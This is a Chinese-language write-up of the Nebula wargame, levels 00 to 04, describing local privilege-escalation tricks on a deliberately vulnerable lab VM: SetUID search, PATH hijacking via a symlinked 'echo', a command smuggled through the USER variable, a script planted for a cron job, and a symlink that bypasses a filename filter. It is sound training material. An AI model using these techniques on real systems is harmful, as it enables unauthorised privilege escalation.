Exploit Exercises Nebula level00-04 Writeup


写在前面

上上个月成立watch0ut战队之后,开始准备并参与一些CTF比赛。队友大神Jack甩给我们exploit-exercises.com这个网站,让我们练习练习漏洞利用。

网站中把漏洞利用分为多类题型,其中Nebula最为简单,主要涉及Linux主机安全及利用的一些常识,可作为整个练习的开始。

另,本文会遵循能不用安装就安装,能不配置就不配置的最(偷)简(懒)策略来完成所有题型。

本文会记录我自己做题的思路和手法,供大家参考,也希望诸位能指出我理解或操作不慎处。

环境搭建

首先下载Nebula题目的光盘镜像,该ISO为LiveCD。因此可以不用安装,直接利用现成虚拟机修改为从该ISO启动即可。每次操作完整之后直接点“暂停”保存虚拟机状态即可,下次直接恢复。当然你也可以安装该ISO。

另外,我使用的光盘为exploit-exercises-nebula-5.iso,本系列Writeup全部在这个版本上完成。

Nebula
----------------------------------------------------------------------------------------------
Download        exploit-exercises-nebula-5.iso
----------------------------------------------------------------------------------------------
Version         5
----------------------------------------------------------------------------------------------
Changes         Moved from OVA to bootable CD format. Reduces issues with importing OVA files.
----------------------------------------------------------------------------------------------
SHA1 Checksum   e82f807be06100bf3e048f82e899fb1fecc24e3a

统一规则

  • 每次任务使用任务的level账户登录并执行flag账户权限可执行的getflag文件(一般是这个名字)。比如,任务1使用level01账户,密码也为level01,你需要去寻找方法获取flag01才可以执行的getflag文件并执行它。
  • 当需要系统配置时,使用nebula账户,密码也为nebula,并利用sudo执行需要root权限的操作。

Nebula level00

This level requires you to find a Set User ID program that will run as the "flag00" account. You could also find this by carefully looking in top level directories in / for suspicious looking directories.

Alternatively, look at the find man page.

该题要求寻找一个可以SetUID的程序(该程序属于flag00账户)并运行它。你可以从/(根目录)开始寻找。

目标很明确,搜索一下属于flag00账户的带有SetUID权限的程序即可。果断man find,搜索一下和权限相关的参数,找到-perm,并且看到该参数后加入-mode可以指定匹配所有具有这个权限的文件(注意和mode/mode的区别,这个-意味着权限的包含关系)。

到这儿我们需要回顾一下Linux下权限的表示方式:Linux的fs中,所有文件/目录/设备等都具有三个级别的用户权限控制,分别是u所有者,g所属群组,o其他用户。对于每个级别,又能分别控制r读w写x执行权限。另外,还有SetUID和SetGID的特殊权限位。

权限表示的时候,rwx和无权限-分别用数字4210表示,并执行位或运算,这样一个级别的用户权限就可以表示了(占用一个byte)。这种方法可以表示出三个不同用户级别的权限。同时加入最前面8bits的特殊权限位,就可以用4byte表示这个文件的完整权限。

例如:

u       g       o
rwx     r--     r--     0744
rwx     ---     ---     0700
rws     rwx     rwx     4777
rws     rws     rwx     6777

按照这个标准,我们这儿需要搜索的文件需要SetUID,因此可以构造权限表示为-u=s或者-4000,再考虑到针对文件搜索(限定类型为文件),因此可以构造如下命令(两者一致)。

find / -perm -u=s -type f -user flag00 > flag.txt
find / -perm -4000 -type f -user flag00 > flag.txt

之后查看flag.txt中内容,可以发现搜索到两个文件,执行第一个/bin/.../flag00即可过关。

Nebula level01

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

题目说程序有漏洞允许任意程序执行。

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/usr/bin/env echo and now what?");
}

程序逻辑很简单:SetUID和SetGID后执行环境变量指定的echo文件,这样and now what?就是参数。因此马上能得到如下思路:

  • 看到/usr/bin/env就立即反应过来可以从环境变量下手,修改后优先执行自己的程序。
  • 需要运行getflag,而程序只能运行echo,因此要把echo和getflag关联上。

于是乎一气呵成执行以下命令:

ln -s /bin/getflag echo
PATH=/home/level01:$PATH
cd /home/flag01
./flag01

这里软连接需要创建在/home/level01/tmp中,否则没有w权限。至此,此题拿下。

Nebula level02

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

和上一题一样的题干,还是找到可任意执行程序的漏洞。

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  char *buffer;

  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  buffer = NULL;

  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
  printf("about to call system(\"%s\")\n", buffer);

  system(buffer);
}

还是环境变量,这次是$USER,反而简单了,直接截断原来的程序即可。上代码:

USER=";/bin/getflag;"

Over :D

Nebula level03

Check the home directory of flag03 and take note of the files there.

There is a crontab that is called every couple of minutes.

题目说检查flag03的home目录,注意里面的文件,同时有一个crontab任务每2分钟执行一次。

发现writeable.d目录和writeable.sh脚本。脚本内容如下:

for i in /home/flag03/writeable.d/* ; do
    (ulimit -t 5; bash -x "$i")
    rm -f "$i"
done

其中ulmint -t 5控制CPU时间不超过5秒,bash -x "$i"用于执行$i文件。执行完之后删除文件本身。因此,只需要在writeable.d目录下创建文件并执行指令即可。文件内容如下:

/bin/getflag > result.txt

等待一段时间,系统会触发这个.sh脚本,之后去看result.txt文件即可发现getflag已经执行。

当然,这儿如果要看具体的crontab的任务事件,用nebula账户登录,执行sudo crontab -u flag03 -l即可。

Nebula level04

This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it :)

寻找方法绕开读取限制,读取token文件内容。

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv, char **envp)
{
  char buf[1024];
  int fd, rc;

  if(argc == 1) {
    printf("%s [file to read]\n", argv[0]);
    exit(EXIT_FAILURE);
  }

  if(strstr(argv[1], "token") != NULL) {
    printf("You may not access '%s'\n", argv[1]);
    exit(EXIT_FAILURE);
  }

  fd = open(argv[1], O_RDONLY);
  if(fd == -1) {
    err(EXIT_FAILURE, "Unable to open %s", argv[1]);
  }

  rc = read(fd, buf, sizeof(buf));

  if(rc == -1) {
    err(EXIT_FAILURE, "Unable to read fd %d", fd);
  }

  write(1, buf, rc);
}

flag04的home目录下有属于level04组的flag04可执行文件和一个token文件(无权限),因此需要调用flag04来读取token。 首先分析程序逻辑,程序有一个参数,但参数名不能是token(和前面一样,用软连接)。之后会读取这个参数为名字的文件,并把文件内容输出到屏幕(1是STD_OUT)。由于flag04目录没有w权限,因此软连接要创建到自己的家目录中。

ln -s /home/flag04/token ~/flag04passwd
/home/flag04/flag04 ~/flag04passwd

之后读取home目录下flag04passwd内容,为flag04密码,用flag04账户和获取的密码登陆后getflag。